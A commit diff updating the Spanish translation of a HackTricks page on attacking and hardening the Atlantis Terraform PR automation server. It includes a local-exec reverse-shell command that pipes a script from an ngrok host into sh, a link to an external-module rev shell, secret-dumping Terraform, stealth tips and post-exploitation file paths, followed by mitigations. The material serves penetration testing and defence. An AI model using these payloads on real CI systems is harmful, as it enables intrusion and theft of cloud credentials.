mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-14 13:56:30 -08:00
Translated ['src/banners/hacktricks-training.md', 'src/pentesting-ci-cd/
This commit is contained in:
@@ -2,24 +2,24 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### Basic Information
|
||||
### Información Básica
|
||||
|
||||
Atlantis básicamente te ayuda a ejecutar terraform desde Pull Requests de tu servidor git.
|
||||
|
||||
.png>)
|
||||
|
||||
### Local Lab
|
||||
### Laboratorio Local
|
||||
|
||||
1. Ve a la **página de lanzamientos de atlantis** en [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) y **descarga** la que te convenga.
|
||||
1. Ve a la **página de lanzamientos de atlantis** en [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) y **descarga** la que más te convenga.
|
||||
2. Crea un **token personal** (con acceso a repos) de tu usuario de **github**.
|
||||
3. Ejecuta `./atlantis testdrive` y se creará un **repositorio de demostración** que puedes usar para **hablar con atlantis**.
|
||||
1. Puedes acceder a la página web en 127.0.0.1:4141.
|
||||
|
||||
### Atlantis Access
|
||||
### Acceso a Atlantis
|
||||
|
||||
#### Git Server Credentials
|
||||
#### Credenciales del Servidor Git
|
||||
|
||||
**Atlantis** soporta varios hosts de git como **Github**, **Gitlab**, **Bitbucket** y **Azure DevOps**.\
|
||||
**Atlantis** soporta varios hosts git como **Github**, **Gitlab**, **Bitbucket** y **Azure DevOps**.\
|
||||
Sin embargo, para acceder a los repos en esas plataformas y realizar acciones, necesita tener algún **acceso privilegiado concedido a ellos** (al menos permisos de escritura).\
|
||||
[**Los docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) fomentan crear un usuario en estas plataformas específicamente para Atlantis, pero algunas personas pueden usar cuentas personales.
|
||||
|
||||
@@ -37,7 +37,7 @@ Ten en cuenta que a menos que uses un servidor privado de github o bitbucket, ne
|
||||
> [!WARNING]
|
||||
> Atlantis va a estar **exponiendo webhooks** para que el servidor git pueda enviarle información. Desde la perspectiva de un atacante, sería interesante saber **si puedes enviarle mensajes**.
|
||||
|
||||
#### Provider Credentials <a href="#provider-credentials" id="provider-credentials"></a>
|
||||
#### Credenciales del Proveedor <a href="#provider-credentials" id="provider-credentials"></a>
|
||||
|
||||
[De los docs:](https://www.runatlantis.io/docs/provider-credentials.html)
|
||||
|
||||
@@ -56,13 +56,13 @@ Depende de ti cómo [proporcionar credenciales](https://www.runatlantis.io/docs/
|
||||
> [!WARNING]
|
||||
> El **contenedor** donde **Atlantis** está **ejecutándose** probablemente **contendrá credenciales privilegiadas** para los proveedores (AWS, GCP, Github...) que Atlantis está gestionando a través de Terraform.
|
||||
|
||||
#### Web Page
|
||||
#### Página Web
|
||||
|
||||
Por defecto, Atlantis ejecutará una **página web en el puerto 4141 en localhost**. Esta página solo te permite habilitar/deshabilitar atlantis apply y verificar el estado del plan de los repos y desbloquearlos (no permite modificar cosas, por lo que no es tan útil).
|
||||
Por defecto, Atlantis ejecutará una **página web en el puerto 4141 en localhost**. Esta página solo te permite habilitar/deshabilitar la aplicación de atlantis y verificar el estado del plan de los repos y desbloquearlos (no permite modificar cosas, por lo que no es tan útil).
|
||||
|
||||
Probablemente no la encuentres expuesta a Internet, pero parece que por defecto **no se necesitan credenciales** para acceder a ella (y si las hay, `atlantis`:`atlantis` son las **predeterminadas**).
|
||||
|
||||
### Server Configuration
|
||||
### Configuración del Servidor
|
||||
|
||||
La configuración para `atlantis server` puede especificarse a través de flags de línea de comando, variables de entorno, un archivo de configuración o una mezcla de los tres.
|
||||
|
||||
@@ -78,18 +78,18 @@ Los valores se **eligen en este orden**:
|
||||
> [!WARNING]
|
||||
> Ten en cuenta que en la configuración podrías encontrar valores interesantes como **tokens y contraseñas**.
|
||||
|
||||
#### Repos Configuration
|
||||
#### Configuración de Repos
|
||||
|
||||
Algunas configuraciones afectan **cómo se gestionan los repos**. Sin embargo, es posible que **cada repo requiera configuraciones diferentes**, por lo que hay formas de especificar cada repo. Este es el orden de prioridad:
|
||||
|
||||
1. Archivo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config). Este archivo se puede usar para especificar cómo atlantis debería tratar el repo. Sin embargo, por defecto algunas claves no se pueden especificar aquí sin algunos flags que lo permitan.
|
||||
1. Probablemente requerido ser permitido por flags como `allowed_overrides` o `allow_custom_workflows`.
|
||||
2. [**Configuración del lado del servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Puedes pasarlo con el flag `--repo-config` y es un yaml que configura nuevos ajustes para cada repo (regexes soportados).
|
||||
2. [**Configuración del Lado del Servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Puedes pasarlo con el flag `--repo-config` y es un yaml que configura nuevos ajustes para cada repo (regexes soportados).
|
||||
3. Valores **predeterminados**.
|
||||
|
||||
**PR Protections**
|
||||
**Protecciones de PR**
|
||||
|
||||
Atlantis permite indicar si deseas que el **PR** sea **`aprobado`** por alguien más (incluso si eso no está configurado en la protección de rama) y/o ser **`fusionable`** (protecciones de rama aprobadas) **antes de ejecutar apply**. Desde un punto de vista de seguridad, establecer ambas opciones es recomendable.
|
||||
Atlantis permite indicar si deseas que el **PR** sea **`aprobado`** por alguien más (incluso si eso no está configurado en la protección de la rama) y/o ser **`fusionable`** (protecciones de rama aprobadas) **antes de ejecutar apply**. Desde un punto de vista de seguridad, establecer ambas opciones es recomendable.
|
||||
|
||||
En caso de que `allowed_overrides` sea True, estas configuraciones pueden ser **sobrescritas en cada proyecto por el archivo `/atlantis.yml`**.
|
||||
|
||||
@@ -97,12 +97,12 @@ En caso de que `allowed_overrides` sea True, estas configuraciones pueden ser **
|
||||
|
||||
La configuración del repo puede **especificar scripts** para ejecutar [**antes**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_ganchos de pre flujo de trabajo_) y [**después**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_ganchos de post flujo de trabajo_) de que se ejecute un **flujo de trabajo**.
|
||||
|
||||
No hay ninguna opción para permitir **especificar** estos scripts en el **archivo de repo `/atlantis.yml`**.
|
||||
No hay ninguna opción para permitir **especificar** estos scripts en el **archivo `/atlantis.yml`** del repo.
|
||||
|
||||
**Workflow**
|
||||
**Flujo de Trabajo**
|
||||
|
||||
En la configuración del repo (configuración del lado del servidor) puedes [**especificar un nuevo flujo de trabajo predeterminado**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), o [**crear nuevos flujos de trabajo personalizados**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** También puedes **especificar** qué **repos** pueden **acceder** a los **nuevos** generados.\
|
||||
Luego, puedes permitir que el archivo **atlantis.yaml** de cada repo **especifique el flujo de trabajo a usar.**
|
||||
Luego, puedes permitir que el archivo **atlantis.yaml** de cada repo **especifique el flujo de trabajo a usar**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Si el flag de [**configuración del lado del servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` está configurado en **True**, los flujos de trabajo pueden ser **especificados** en el archivo **`atlantis.yaml`** de cada repo. También es potencialmente necesario que **`allowed_overrides`** especifique también **`workflow`** para **sobrescribir el flujo de trabajo** que se va a utilizar.\
|
||||
@@ -124,7 +124,7 @@ Luego, puedes permitir que el archivo **atlantis.yaml** de cada repo **especifiq
|
||||
> steps: - run: my custom apply command
|
||||
> ```
|
||||
|
||||
**Conftest Policy Checking**
|
||||
**Verificación de Políticas de Conftest**
|
||||
|
||||
Atlantis soporta ejecutar **políticas de conftest** [**del lado del servidor**](https://www.conftest.dev/) contra la salida del plan. Los casos de uso comunes para usar este paso incluyen:
|
||||
|
||||
@@ -135,7 +135,7 @@ Atlantis soporta ejecutar **políticas de conftest** [**del lado del servidor**]
|
||||
|
||||
Puedes consultar cómo configurarlo en [**los docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
|
||||
|
||||
### Atlantis Commands
|
||||
### Comandos de Atlantis
|
||||
|
||||
[**En los docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) puedes encontrar las opciones que puedes usar para ejecutar Atlantis:
|
||||
```bash
|
||||
@@ -170,7 +170,7 @@ Puedes solucionarlo ejecutando:
|
||||
atlantis unlock #You might need to run this in a different PR
|
||||
atlantis plan -- -lock=false
|
||||
```
|
||||
#### Atlantis plan RCE - Modificación de configuración en una nueva PR
|
||||
#### Atlantis plan RCE - Modificación de configuración en nueva PR
|
||||
|
||||
Si tienes acceso de escritura sobre un repositorio, podrás crear una nueva rama en él y generar una PR. Si puedes **ejecutar `atlantis plan`** (o tal vez se ejecute automáticamente) **podrás RCE dentro del servidor de Atlantis**.
|
||||
|
||||
@@ -192,8 +192,8 @@ source = "git@github.com:carlospolop/terraform_external_module_rev_shell//module
|
||||
```
|
||||
Puedes encontrar el código de rev shell en [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
|
||||
- En el recurso externo, utiliza la característica **ref** para ocultar el **código de rev shell de terraform en una rama** dentro del repositorio, algo como: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- **En lugar de** crear un **PR a master** para activar Atlantis, **crea 2 ramas** (test1 y test2) y crea un **PR de una a la otra**. Cuando hayas completado el ataque, simplemente **elimina el PR y las ramas**.
|
||||
- En el recurso externo, utiliza la función **ref** para ocultar el **código de rev shell de terraform en una rama** dentro del repositorio, algo como: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- **En lugar** de crear un **PR a master** para activar Atlantis, **crea 2 ramas** (test1 y test2) y crea un **PR de una a la otra**. Cuando hayas completado el ataque, simplemente **elimina el PR y las ramas**.
|
||||
|
||||
#### Atlantis plan Secrets Dump
|
||||
|
||||
@@ -203,7 +203,7 @@ output "dotoken" {
|
||||
value = nonsensitive(var.do_token)
|
||||
}
|
||||
```
|
||||
#### Atlantis apply RCE - Modificación de configuración en nueva PR
|
||||
#### Atlantis aplicar RCE - Modificación de configuración en nueva PR
|
||||
|
||||
Si tienes acceso de escritura sobre un repositorio, podrás crear una nueva rama en él y generar una PR. Si puedes **ejecutar `atlantis apply`, podrás RCE dentro del servidor de Atlantis**.
|
||||
|
||||
@@ -211,7 +211,7 @@ Sin embargo, generalmente necesitarás eludir algunas protecciones:
|
||||
|
||||
- **Mergeable**: Si esta protección está configurada en Atlantis, solo podrás ejecutar **`atlantis apply` si la PR es mergeable** (lo que significa que la protección de rama debe ser eludida).
|
||||
- Verifica posibles [**elusiones de protecciones de rama**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
- **Approved**: Si esta protección está configurada en Atlantis, **otro usuario debe aprobar la PR** antes de que puedas ejecutar `atlantis apply`
|
||||
- **Aprobado**: Si esta protección está configurada en Atlantis, **otro usuario debe aprobar la PR** antes de que puedas ejecutar `atlantis apply`
|
||||
- Por defecto, puedes abusar del [**token de Gitbot para eludir esta protección**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
|
||||
Ejecutando **`terraform apply` en un archivo de Terraform malicioso con** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
@@ -231,7 +231,7 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
}
|
||||
```
|
||||
Sigue las **sugerencias de la técnica anterior** para realizar este ataque de una manera **más sigilosa**.
|
||||
Sigue las **sugerencias de la técnica anterior** para realizar este ataque de una **manera más sigilosa**.
|
||||
|
||||
#### Inyección de Parámetros de Terraform
|
||||
|
||||
@@ -243,7 +243,7 @@ atlantis plan -- -h #Get terraform plan help
|
||||
atlantis apply -- <terraform commands>
|
||||
atlantis apply -- -h #Get terraform apply help
|
||||
```
|
||||
Algo que puedes pasar son variables de entorno que pueden ser útiles para eludir algunas protecciones. Consulta las variables de entorno de terraform en [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
|
||||
Algo que puedes pasar son variables de entorno que pueden ser útiles para eludir algunas protecciones. Revisa las variables de entorno de terraform en [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
|
||||
|
||||
#### Flujo de trabajo personalizado
|
||||
|
||||
@@ -251,7 +251,7 @@ Ejecutando **comandos de construcción personalizados maliciosos** especificados
|
||||
Esta posibilidad se mencionó en una sección anterior:
|
||||
|
||||
> [!CAUTION]
|
||||
> Si la bandera de [**configuración del lado del servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` está configurada como **True**, los flujos de trabajo pueden ser **especificados** en el **archivo `atlantis.yaml`** de cada repositorio. También es potencialmente necesario que **`allowed_overrides`** especifique también **`workflow`** para **sobrescribir el flujo de trabajo** que se va a utilizar.
|
||||
> Si la bandera de [**configuración del lado del servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` está configurada como **True**, los flujos de trabajo pueden ser **especificados** en el archivo **`atlantis.yaml`** de cada repositorio. También es potencialmente necesario que **`allowed_overrides`** especifique también **`workflow`** para **sobrescribir el flujo de trabajo** que se va a utilizar.
|
||||
>
|
||||
> Esto básicamente dará **RCE en el servidor de Atlantis a cualquier usuario que pueda acceder a ese repositorio**.
|
||||
>
|
||||
@@ -280,29 +280,29 @@ repos:
|
||||
- id: /.*/
|
||||
apply_requirements: []
|
||||
```
|
||||
#### PR Hijacking
|
||||
#### Secuestro de PR
|
||||
|
||||
Si alguien envía **`atlantis plan/apply` comentarios en tus pull requests válidos,** hará que terraform se ejecute cuando no lo desees.
|
||||
|
||||
Además, si no tienes configurado en la **protección de ramas** para pedir **reevaluar** cada PR cuando se **empuja un nuevo commit** a ella, alguien podría **escribir configuraciones maliciosas** (ver escenarios anteriores) en la configuración de terraform, ejecutar `atlantis plan/apply` y obtener RCE.
|
||||
Además, si no tienes configurado en la **protección de ramas** que se pida **reevaluar** cada PR cuando se **empuja un nuevo commit** a él, alguien podría **escribir configuraciones maliciosas** (ver escenarios anteriores) en la configuración de terraform, ejecutar `atlantis plan/apply` y obtener RCE.
|
||||
|
||||
Esta es la **configuración** en las protecciones de ramas de Github:
|
||||
|
||||
.png>)
|
||||
|
||||
#### Webhook Secret
|
||||
#### Secreto del Webhook
|
||||
|
||||
Si logras **robar el webhook secret** utilizado o si **no hay ningún webhook secret** en uso, podrías **llamar al webhook de Atlantis** e **invocar comandos de atlantis** directamente.
|
||||
Si logras **robar el secreto del webhook** utilizado o si **no hay ningún secreto de webhook** en uso, podrías **llamar al webhook de Atlantis** e **invocar comandos de atlantis** directamente.
|
||||
|
||||
#### Bitbucket
|
||||
|
||||
Bitbucket Cloud **no soporta webhook secrets**. Esto podría permitir a los atacantes **suplantar solicitudes de Bitbucket**. Asegúrate de permitir solo IPs de Bitbucket.
|
||||
Bitbucket Cloud **no soporta secretos de webhook**. Esto podría permitir a los atacantes **suplantar solicitudes de Bitbucket**. Asegúrate de permitir solo IPs de Bitbucket.
|
||||
|
||||
- Esto significa que un **atacante** podría hacer **solicitudes falsas a Atlantis** que parecen provenir de Bitbucket.
|
||||
- Si estás especificando `--repo-allowlist`, entonces solo podrían falsificar solicitudes relacionadas con esos repos, por lo que el mayor daño que podrían hacer sería planificar/aplicar en tus propios repos.
|
||||
- Para prevenir esto, permite [las direcciones IP de Bitbucket](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (ver direcciones IPv4 salientes).
|
||||
- Para prevenir esto, permite las [direcciones IP de Bitbucket](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (ver direcciones IPv4 salientes).
|
||||
|
||||
### Post-Exploitation
|
||||
### Post-Explotación
|
||||
|
||||
Si lograste acceder al servidor o al menos obtuviste un LFI, hay algunas cosas interesantes que deberías intentar leer:
|
||||
|
||||
@@ -313,15 +313,15 @@ Si lograste acceder al servidor o al menos obtuviste un LFI, hay algunas cosas i
|
||||
- `/proc/1/environ` Variables de entorno
|
||||
- `/proc/[2-20]/cmdline` Línea de comandos de `atlantis server` (puede contener datos sensibles)
|
||||
|
||||
### Mitigations
|
||||
### Mitigaciones
|
||||
|
||||
#### Don't Use On Public Repos <a href="#don-t-use-on-public-repos" id="don-t-use-on-public-repos"></a>
|
||||
#### No Usar en Repos Públicos <a href="#don-t-use-on-public-repos" id="don-t-use-on-public-repos"></a>
|
||||
|
||||
Porque cualquiera puede comentar en pull requests públicos, incluso con todas las mitigaciones de seguridad disponibles, sigue siendo peligroso ejecutar Atlantis en repos públicos sin la configuración adecuada de los ajustes de seguridad.
|
||||
Debido a que cualquiera puede comentar en pull requests públicos, incluso con todas las mitigaciones de seguridad disponibles, sigue siendo peligroso ejecutar Atlantis en repos públicos sin la configuración adecuada de los ajustes de seguridad.
|
||||
|
||||
#### Don't Use `--allow-fork-prs` <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>
|
||||
#### No Usar `--allow-fork-prs` <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>
|
||||
|
||||
Si estás ejecutando en un repos público (lo cual no se recomienda, ver arriba) no deberías establecer `--allow-fork-prs` (por defecto es falso) porque cualquiera puede abrir un pull request desde su fork a tu repositorio.
|
||||
Si estás ejecutando en un repos público (lo cual no se recomienda, ver arriba), no deberías establecer `--allow-fork-prs` (por defecto es falso) porque cualquiera puede abrir un pull request desde su fork a tu repositorio.
|
||||
|
||||
#### `--repo-allowlist` <a href="#repo-allowlist" id="repo-allowlist"></a>
|
||||
|
||||
@@ -330,41 +330,41 @@ Atlantis requiere que especifiques una lista permitida de repositorios de los qu
|
||||
- Repositorios específicos: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
|
||||
- Tu organización completa: `--repo-allowlist=github.com/runatlantis/*`
|
||||
- Cada repositorio en tu instalación de GitHub Enterprise: `--repo-allowlist=github.yourcompany.com/*`
|
||||
- Todos los repositorios: `--repo-allowlist=*`. Útil cuando estás en una red protegida pero peligroso sin también establecer un webhook secret.
|
||||
- Todos los repositorios: `--repo-allowlist=*`. Útil cuando estás en una red protegida pero peligroso sin también establecer un secreto de webhook.
|
||||
|
||||
Esta bandera asegura que tu instalación de Atlantis no se esté utilizando con repositorios que no controlas. Consulta `atlantis server --help` para más detalles.
|
||||
|
||||
#### Protect Terraform Planning <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>
|
||||
#### Proteger la Planificación de Terraform <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>
|
||||
|
||||
Si los atacantes envían pull requests con código malicioso de Terraform en tu modelo de amenaza, entonces debes ser consciente de que las aprobaciones de `terraform apply` no son suficientes. Es posible ejecutar código malicioso en un `terraform plan` utilizando la [fuente de datos `external`](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) o especificando un proveedor malicioso. Este código podría luego exfiltrar tus credenciales.
|
||||
Si los atacantes que envían pull requests con código malicioso de Terraform están en tu modelo de amenaza, entonces debes ser consciente de que las aprobaciones de `terraform apply` no son suficientes. Es posible ejecutar código malicioso en un `terraform plan` utilizando la [`fuente de datos externa`](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) o especificando un proveedor malicioso. Este código podría luego exfiltrar tus credenciales.
|
||||
|
||||
Para prevenir esto, podrías:
|
||||
|
||||
1. Incluir proveedores en la imagen de Atlantis o alojar y negar egress en producción.
|
||||
2. Implementar el protocolo de registro de proveedores internamente y negar egress público, de esa manera controlas quién tiene acceso de escritura al registro.
|
||||
3. Modificar el paso `plan` de tu [configuración de repositorio del lado del servidor](https://www.runatlantis.io/docs/server-side-repo-config.html) para validar contra el uso de proveedores o fuentes de datos no permitidos o PRs de usuarios no permitidos. También podrías agregar validación adicional en este punto, por ejemplo, requiriendo un "me gusta" en el PR antes de permitir que el `plan` continúe. Conftest podría ser útil aquí.
|
||||
1. Incluir proveedores en la imagen de Atlantis o alojar y negar la salida en producción.
|
||||
2. Implementar el protocolo de registro de proveedores internamente y negar la salida pública, de esa manera controlas quién tiene acceso de escritura al registro.
|
||||
3. Modificar el paso `plan` de tu [configuración de repositorio del lado del servidor](https://www.runatlantis.io/docs/server-side-repo-config.html) para validar contra el uso de proveedores o fuentes de datos no permitidos o PRs de usuarios no autorizados. También podrías agregar validación adicional en este punto, por ejemplo, requiriendo un "me gusta" en el PR antes de permitir que el `plan` continúe. Conftest podría ser útil aquí.
|
||||
|
||||
#### Webhook Secrets <a href="#webhook-secrets" id="webhook-secrets"></a>
|
||||
#### Secretos de Webhook <a href="#webhook-secrets" id="webhook-secrets"></a>
|
||||
|
||||
Atlantis debe ejecutarse con los secretos de Webhook establecidos a través de las variables de entorno `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Incluso con la bandera `--repo-allowlist` establecida, sin un webhook secret, los atacantes podrían hacer solicitudes a Atlantis haciéndose pasar por un repositorio que está en la lista permitida. Los secretos de Webhook aseguran que las solicitudes de webhook provengan realmente de tu proveedor de VCS (GitHub o GitLab).
|
||||
Atlantis debe ejecutarse con secretos de Webhook establecidos a través de las variables de entorno `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Incluso con la bandera `--repo-allowlist` establecida, sin un secreto de webhook, los atacantes podrían hacer solicitudes a Atlantis haciéndose pasar por un repositorio que está en la lista permitida. Los secretos de webhook aseguran que las solicitudes de webhook provengan realmente de tu proveedor de VCS (GitHub o GitLab).
|
||||
|
||||
Si estás utilizando Azure DevOps, en lugar de secretos de webhook, agrega un nombre de usuario y una contraseña básicos.
|
||||
|
||||
#### Azure DevOps Basic Authentication <a href="#azure-devops-basic-authentication" id="azure-devops-basic-authentication"></a>
|
||||
#### Autenticación Básica de Azure DevOps <a href="#azure-devops-basic-authentication" id="azure-devops-basic-authentication"></a>
|
||||
|
||||
Azure DevOps admite el envío de un encabezado de autenticación básica en todos los eventos de webhook. Esto requiere usar una URL HTTPS para tu ubicación de webhook.
|
||||
Azure DevOps admite el envío de un encabezado de autenticación básica en todos los eventos de webhook. Esto requiere usar una URL HTTPS para la ubicación de tu webhook.
|
||||
|
||||
#### SSL/HTTPS <a href="#ssl-https" id="ssl-https"></a>
|
||||
|
||||
Si estás utilizando secretos de webhook pero tu tráfico es a través de HTTP, entonces los secretos de webhook podrían ser robados. Habilita SSL/HTTPS utilizando las banderas `--ssl-cert-file` y `--ssl-key-file`.
|
||||
|
||||
#### Enable Authentication on Atlantis Web Server <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>
|
||||
#### Habilitar Autenticación en el Servidor Web de Atlantis <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>
|
||||
|
||||
Se recomienda encarecidamente habilitar la autenticación en el servicio web. Habilita BasicAuth utilizando `--web-basic-auth=true` y configura un nombre de usuario y una contraseña utilizando las banderas `--web-username=yourUsername` y `--web-password=yourPassword`.
|
||||
|
||||
También puedes pasar estos como variables de entorno `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` y `ATLANTIS_WEB_PASSWORD=yourPassword`.
|
||||
|
||||
### References
|
||||
### Referencias
|
||||
|
||||
- [**https://www.runatlantis.io/docs**](https://www.runatlantis.io/docs)
|
||||
- [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html)
|
||||
|
||||
Reference in New Issue
Block a user